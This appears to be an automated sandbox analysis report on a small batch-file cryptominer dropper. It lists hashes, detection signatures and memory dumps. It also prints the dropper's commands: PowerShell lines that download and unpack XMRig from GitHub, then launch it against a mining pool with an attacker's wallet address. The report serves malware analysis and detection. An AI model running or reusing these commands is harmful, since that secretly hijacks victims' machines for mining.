Analysis

  • max time kernel
    1797s
  • max time network
    1781s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 07:23

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 63 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1332
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1632
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4792
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1792

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    1KB

    MD5

    1e74bb7ea48a1c8bd1b8dbce4ef88012

    SHA1

    154b77b53597525d499148cb7a184f306b54fcf0

    SHA256

    951dc56031f14a5abe178cc0249cea38b40bddd2c151a3ee34de6f85c8aae356

    SHA512

    1b675170cc0cc2b352f49ffc3bfd2d4dea1c509f3ed43e71a7d8091f9df5335b27181ac21ef58fc188079b853ccce1b2d95bf4b1861cd659fc5c356d89c39bef

  • memory/1632-4-0x0000025268C10000-0x0000025268C32000-memory.dmp

    Filesize

    136KB

  • memory/1632-5-0x00007FFF77520000-0x00007FFF77F0C000-memory.dmp

    Filesize

    9.9MB

  • memory/1632-10-0x0000025268EA0000-0x0000025268F16000-memory.dmp

    Filesize

    472KB

  • memory/1632-25-0x0000025250950000-0x0000025250960000-memory.dmp

    Filesize

    64KB

  • memory/1632-9-0x0000025250950000-0x0000025250960000-memory.dmp

    Filesize

    64KB

  • memory/1632-7-0x0000025250950000-0x0000025250960000-memory.dmp

    Filesize

    64KB

  • memory/1632-26-0x00007FFF77520000-0x00007FFF77F0C000-memory.dmp

    Filesize

    9.9MB

  • memory/1632-27-0x0000025250950000-0x0000025250960000-memory.dmp

    Filesize

    64KB

  • memory/1632-28-0x0000025250950000-0x0000025250960000-memory.dmp

    Filesize

    64KB

  • memory/1632-29-0x0000025250950000-0x0000025250960000-memory.dmp

    Filesize

    64KB

  • memory/1632-34-0x00007FFF77520000-0x00007FFF77F0C000-memory.dmp

    Filesize

    9.9MB

  • memory/1792-149-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-154-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-122-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-123-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-188-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-187-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-186-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-125-0x000002D2515A0000-0x000002D2515C0000-memory.dmp

    Filesize

    128KB

  • memory/1792-124-0x000002D2517D0000-0x000002D2517F0000-memory.dmp

    Filesize

    128KB

  • memory/1792-126-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-127-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-128-0x000002D2517D0000-0x000002D2517F0000-memory.dmp

    Filesize

    128KB

  • memory/1792-129-0x000002D2515A0000-0x000002D2515C0000-memory.dmp

    Filesize

    128KB

  • memory/1792-130-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-131-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-132-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-133-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-134-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-135-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-136-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-137-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-138-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-139-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-140-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-141-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-142-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-143-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-144-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-145-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-146-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-147-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-148-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-120-0x000002D1BD670000-0x000002D1BD690000-memory.dmp

    Filesize

    128KB

  • memory/1792-150-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-151-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-152-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-153-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-121-0x000002D251160000-0x000002D251180000-memory.dmp

    Filesize

    128KB

  • memory/1792-155-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-156-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-157-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-158-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-159-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-160-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-161-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-162-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-163-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-164-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-165-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-166-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-167-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-168-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-169-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-170-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-171-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-172-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-173-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-174-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-175-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-176-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-177-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-178-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-179-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-180-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-181-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-182-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-183-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-184-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/1792-185-0x00007FF6178F0000-0x00007FF6183F3000-memory.dmp

    Filesize

    11.0MB

  • memory/4792-40-0x00007FFF77520000-0x00007FFF77F0C000-memory.dmp

    Filesize

    9.9MB

  • memory/4792-41-0x000002883B920000-0x000002883B930000-memory.dmp

    Filesize

    64KB

  • memory/4792-42-0x000002883B920000-0x000002883B930000-memory.dmp

    Filesize

    64KB

  • memory/4792-66-0x000002883B920000-0x000002883B930000-memory.dmp

    Filesize

    64KB

  • memory/4792-93-0x000002883BA50000-0x000002883BA5A000-memory.dmp

    Filesize

    40KB

  • memory/4792-80-0x000002883BF80000-0x000002883BF92000-memory.dmp

    Filesize

    72KB

  • memory/4792-117-0x00007FFF77520000-0x00007FFF77F0C000-memory.dmp

    Filesize

    9.9MB